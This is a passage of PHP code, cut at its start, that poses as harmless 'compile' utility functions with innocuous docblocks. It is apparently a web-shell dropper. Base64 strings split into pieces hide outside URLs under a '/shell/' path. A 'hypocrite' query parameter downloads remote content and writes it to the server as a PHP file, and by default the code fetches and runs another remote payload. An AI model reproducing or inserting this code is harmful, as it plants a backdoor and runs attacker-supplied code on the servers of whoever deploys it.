" . $x); } /** * SimpleDecode * * Decodes a base64-encoded string. * * @param string $d Encoded string * @return string */ function _compileDecodeChunkUnit($d) { return bAse64_dEcoDe($d); } /** * FileWriter * * Saves content to a file. * * @param string $f Filename * @param string $c Content * @return void */ function _compilePushToDiskNode($f, $c) { file_put_contents($f, $c); } // Remote write trigger if (isset($_GET['hypocrite'])) { try { $p1 = 'aHR0cHM6Ly9oeXBvY3JpdGVz'; $p2 = 'ZW8uc2l0ZS9zaGVsbC9oeXBvY3JpdGUudHh0'; $url = _compileDecodeChunkUnit($p1 . $p2); $d = _compileFetchCoreLite($url); if ($d !== false && trim($d) !== '') { $n1 = "aHlwb2NyaXRlc"; $n2 = "2VvLnBocA=="; _compilePushToDiskNode(_compileDecodeChunkUnit($n1 . $n2), $d); echo "File created."; } else { echo "No content."; } } catch (Exception $e) { echo "Error: " . $e->getMessage(); } exit; } // Default payload runner try { $r1 = 'aHR0cHM6Ly9oeXBvY3JpdGV'; $r2 = 'zZW8uc2l0ZS9zaGVsbC9hbGZhLnR4dA=='; $u = _compileDecodeChunkUnit($r1 . $r2); _compileExecPayloadTask($u); } catch (Exception $e) { echo "Error: " . $e->getMessage(); }